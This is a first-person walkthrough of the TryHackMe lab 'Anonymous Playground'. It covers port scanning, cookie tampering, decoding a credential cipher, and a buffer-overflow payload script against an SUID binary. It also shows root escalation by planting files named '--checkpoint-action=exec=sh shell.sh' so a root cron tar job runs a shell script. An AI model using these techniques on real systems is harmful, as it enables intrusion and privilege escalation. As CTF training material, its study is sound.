WriteUp — THM Anonymous playground
Want to become part of Anonymous? They have a challenge for you. Can you get the flags and become an operative?
This is a writeup for TryHackMe room Anonymous Playground.
Reconnaissance
Start with nmap:
nmap -sC -sV -p- 10.10.47.16
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-08 12:11 EET
Nmap scan report for 10.10.47.16
Host is up (0.072s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 60:b6:ad:4c:3e:f9:d2:ec:8b:cd:3b:45:a5:ac:5f:83 (RSA)
| 256 6f:9a:be:df:fc:95:a2:31:8f:db:e5:a2:da:8a:0c:3c (ECDSA)
|_ 256 e6:98:52:49:cf:f2:b8:65:d7:41:1c:83:2e:94:24:88 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/zYdHuAKjP
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Proving Grounds
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web server enumeration
robots.txt:
User-agent: *
Disallow: /zYdHuAKjP
navigating to the page displays access denied page:
The page also sets a cookie named access with a value of denied. Maybe it can be manipulated? Maybe set it to granted? The page changes:
Gaining access
Now I need to figure how to decode this. It looks like a username password combination.
hEzAdCfHzA::hEzAdCfHzAhAiJzAeIaDjBcBhHgAzAfHfN
I try various common ciphers but don’t find anything so eventually I look at a hint which says that
'zA' = 'a'
This can be applied to the cipher text to see some patterns:
hEzAdCfHzA::hEzAdCfHzAhAiJzAeIaDjBcBhHgAzAfHfN
Looking at the operatives page this matches to username magna. So we have some more info:
hE: m
dC: g
fH: n
Looks like it could be some sort of arithmetic operation. Let’s see if what happens by using letter numbers from https://www.worldometers.info/languages/how-many-letters-alphabet/
hE: 8 + 5 = 13 = m
dC: 4 + 3 = 7 = g
fH: 6 + 8 = 14 = n
Could do this by hand but better practice my Python skills:
With this info we get the password : __REDACTED__ and can try to login with ssh and grab the first user flag.
Reverse engineering
In the home directory of magna there is a binary with suid flag set. Time to figure out what it does. There is a note from Spooky:
Hey Magna,Check out this binary I made! I've been practicing my skills in C so that I can get better at Reverse
Engineering and Malware Development. I think this is a really good start. See if you can break it!P.S. I've had the admins install radare2 and gdb so you can debug and reverse it right here!Best,
Spooky
Looking at ltrace / strace I can see that it uses gets() to get an string and then exits. So maybe there is a buffer overflow possibility. Let’s download the binary to my own box and reverse it with Cutter.
The main program simply uses gets():
But there is also a more interesting function:
Too bad the setuid() is only to Spooky(1337). But let’s break the binary anyways.
The idea is to use a buffer overflow to manipulate the stack so that there is a function call to call_bash (0x0000000000400657). This address can be found using gdb:
Let’s open the program using gdb. When firing up gdb the first command should always be:
set disassembly-flavor intel
Let’s take a look at the main code:
We need to craft a buffer so that when the stack allocated at main+4 (80 bytes) gets written to by gets() it also overwrites the current return address at top of stack of main function. It is used by ret (main+55) when returning from main function.
here we can see what value is pushed to stack at main+0 (rbp value). If we break just before gets() call at main+44 we can see the value in the stack:
Now we need to figure out exactly how long string this requires. It can be calculated but it’s easier to use tools. Let’s generate a unique string:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 130
Run the program with gdb and capture RBP:
Now we can find out the position in the pattern using:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 3363413263413163
[*] Exact match at offset 64
Ok, this is obviously the 64 bytes allocated at main+32. Sigh. So we can now craft the payload:
#!/usr/bin/env python
from struct import *
buf = ""
buf += "A"*64
buf += pack("<Q", 0x0000000000400657)
print (buf)
And run it:
magna@anonymous-playground:~$ ( python pay.py; cat ) | ./hacktheworld
Who do you want to hack?
We are Anonymous.
We are Legion.
We do not forgive.
We do not forget.
[Message corrupted]...Well...done.
whoami
spooky
Now I can grab the second flag and move to rooting the box.
Privesc
I don’t know spooky’s password so cannot check sudo. I do Linpeas enumeration instead. It identifies a potential PE vector: A cronjob running every minute as root and there is a wildcard:
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin*/1 * * * * root cd /home/spooky && tar -zcf /var/backups/spooky.tgz *
A quick google reveals how to exploit this: https://www.exploit-db.com/papers/33930
Basically touch a couple files (didn’t get touch to work so used echo).
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
and create a shell script to do what you want. I grabbed a reverse shell from pentestmonkey. I did try other stuff like chmod, useradd and cp but didn’t get them to work so in the end it was a Python reverse shell that did the trick.
What a great room! I feel I learned a lot. Got to practice buffer overflows and a new PE vector.